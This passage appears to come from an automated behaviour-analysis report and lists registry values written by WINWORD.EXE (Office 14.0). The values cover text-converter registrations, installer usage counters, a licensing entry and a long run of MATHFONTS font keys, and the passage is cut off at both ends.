"HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "TCWP6FILESINTL_1033"; Value: "0200ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\RECOVER"; Key: "NAME"; Value: "Recover Text from Any File") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\RECOVER"; Key: "PATH"; Value: "%COMMONPROGRAMFILES%\Microsoft Shared\TextConv\RECOVR32.CNV") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\RECOVER"; Key: "EXTENSIONS"; Value: "2A000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\WRDPRFCTDOS"; Key: "NAME"; Value: "WordPerfect 5.x") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\WRDPRFCTDOS"; Key: "PATH"; Value: "%COMMONPROGRAMFILES%\Microsoft Shared\TextConv\WPFT532.CNV") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\WRDPRFCTDOS"; Key: "EXTENSIONS"; Value: "doc") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\WORDPERFECT6X"; Key: "NAME"; Value: "WordPerfect 6.x - 7.0") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\WORDPERFECT6X"; Key: "PATH"; Value: "%COMMONPROGRAMFILES%\Microsoft Shared\TextConv\WPFT632.CNV") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\TEXT CONVERTERS\IMPORT\WORDPERFECT6X"; Key: "EXTENSIONS"; Value: "wpd doc") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "TCWP5FILESINTL_1033"; Value: "0300ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "TCWP6FILESINTL_1033"; Value: "0300ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\TOOLBARS\SETTINGS"; Key: "MICROSOFT WORD"; Value: "0101000000000000000006000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "PRODUCTNONBOOTFILESINTL_1033"; Value: "0100ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "PRODUCTNONBOOTFILESINTL_1033"; Value: "0200ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LICENSING"; Key: "019C826E445A4649A5B00BF08FCC4EEE"; Value: "09000000270000007B39303134303030302D303031312D303030302D303030302D3030303030303046463143457D00580000004F00660066006900630065002000310034002C0020004F0066006600690063006500500072006F0050006C00750073002D004B004D0053005F0043006C00690065006E0074002000650064006900740069006F006E000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\SECURITY\TRUSTED DOCUMENTS"; Key: "LASTPURGETIME"; Value: "7798AD01") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@AHN2006-B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@AHN2006-L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@AHN2006-M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@ARIAL UNICODE MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@BATANGCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@DFKAI-SB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@DOTUMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@FANGSONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@FZSONG_SUPERFONT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GULIMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GUNGSUH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@GUNGSUHCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN BAEKJE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN BAEKJE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN COOLJAZZ B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN COOLJAZZ L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN COOLJAZZ M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SALE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SALE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOLLIP B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOLLIP M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOMANG B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN SOMANG M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YGODIC 230"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YGODIC 240"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YGODIC 250"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YHEAD B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YHEAD L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAAN YHEAD M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAANSOFT BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HAANSOFT DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR BATANG EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR BATANG EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HCR DOTUM EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYBDAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYBDAM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYBSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYCYSM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYDNKB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYDNKM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYGPRM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYGSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYGTRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYHAESEO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYHWPEQ"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYKANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYKANM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYMJRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYMPRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYNAMB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYNAML"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYNAMM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYPORM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSNRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSUPB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYSUPM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYTBRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYWULB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@HYWULM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@KAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MALGUN GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDALONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDART"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDEASOP"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDGAESUNG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MDSOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MEIRYO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MEIRYO UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MGUNGHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MGUNGJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MHUNMIN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT JHENGHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT JHENGHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT YAHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MICROSOFT YAHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU_HKSCS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU_HKSCS-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MJEMOKBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MJEMOKGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS MINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS PGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS PMINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MS UI GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MSUGIHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@MSUGIJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@NSIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@PMINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@PMINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@SIMHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@SIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@SIMSUN-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BACDOO BOLD "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BELLA MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BLOCK MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BONMOKGAK MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ BUTGOT LIGHT "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ CHMSOOT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ DOOLGI MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ DWMMOOGJO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ GABI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ GOTGAE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ INITIALPOSITIVE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ INJANG MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ MAEHWA SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ NANCHO MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ SHANALL MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ SOSEL SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ TEUNTEUN BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "@YJ WADAG MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AGENCY FB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHARONI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHN2006-B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHN2006-L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AHN2006-M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ALGERIAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "AMERIGARMND BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ANDALUS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ANGSANA NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ANGSANAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "APARAJITA"; Value: "00000000") "WINWORD.EXE" (Access type: 